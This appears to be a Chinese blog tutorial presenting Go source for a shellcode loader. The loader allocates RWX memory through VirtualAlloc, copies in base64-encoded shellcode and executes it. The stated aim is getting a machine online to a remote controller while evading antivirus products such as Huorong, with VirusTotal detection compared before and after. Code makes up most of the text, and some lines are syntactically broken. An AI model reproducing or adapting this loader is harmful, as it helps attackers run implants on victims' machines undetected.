介绍

通过go来加载shellcode从而使机器上线,在原生go加载shellcode代码的基础上,稍微变换了一点点姿势。

代码

  • main.go

主函数入口,主要的加载功能,和网上的加载器几乎一致并且一模一样。

package main

import (

	"os"

	"syscall"

	"test02/load"

	"unsafe"

)

const (

	MEM_COMMIT             = 0x1000

	MEM_RESERVE            = 0x2000

	PAGE_EXECUTE_READWRITE = 0x40

)

var (

	kernel32      = syscall.MustLoadDLL("kernel32.dll")   //调用kernel32.dll

	ntdll         = syscall.MustLoadDLL("ntdll.dll")      //调用ntdll.dll

	VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc") //使用kernel32.dll调用ViretualAlloc函数

	RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")   //使用ntdll调用RtCopyMemory函数

)

func checkErr(err error) {

	if err != nil { //如果内存调用出现错误,可以报出

		if err.Error() != "The operation completed successfully." { //如果调用dll系统发出警告,但是程序运行成功,则不进行警报

			println(err.Error()) //报出具体错误

			os.Exit(1)

		}

	}

}

func main() {

	load.Pcode()

	shellcode := load.Pcode()

	//调用VirtualAlloc为shellcode申请一块内存

	addr, , err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEMCOMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)

	if addr == 0 {

		checkErr(err)

	}

	//调用RtlCopyMemory来将shellcode加载进内存当中

	, , err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))

	checkErr(err)

	//syscall来运行shellcode

	syscall.Syscall(addr, 0, 0, 0, 0)

}
  • load.go

存放shellcode的包文件,由于本机存在一个火绒,在测试的时候每次都是把shellcode直接给我杀了,而且在没调用加载器,仅仅是打印shellcode的情况下都能被火绒给杀,所以就直接将shellcode进行了base64编码保存在了里面,然后再去编译的话火绒就不杀了。

package load

import (

	"encoding/base64"

	"fmt"

)

func Payload() []byte {

	var code = []byte{

		// 杀payload

		0xfc, 0x48, 0x83,,

	}

	return code

}

func B64Code() string {

	b64 := "把shellcode进行base64编码后放置于此"

	return b64

}

func Test() {

	fmt.Println("test")

}

func Pcode() []byte {

	// scode := []byte(Payload())	// 调用Payload函数获取shellcode

	// ecode := base64.StdEncoding.EncodeToString(scode)	//对shellcode进行base64编码,但是这样的话会导致识别出原生的shellcode,从而被杀。

	// fmt.Println(ecode)

	ecode := B64Code()

	acode, err := base64.StdEncoding.DecodeString(ecode)

	fmt.Println(err)

	//fmt.Println(acode)

	dcode := []byte(acode)

	return dcode

}

编译后实现上线:

效果对比

原生的加载shellcode编译后上传到VT平台进行测试效果如下:

稍微变化一下并编译上传到VT平台后进行测试效果如下:

结尾

shellcode在原始形态下几乎是逃不掉被杀的命运,虽然这里只是简单的将shellcode进行了base64编码再调入内存执行,但是这样的话很多杀软也无法识别出这是一个有害程序,有些杀软针对内存的检查,查杀等特别严格,那种情况就是另一种情况了。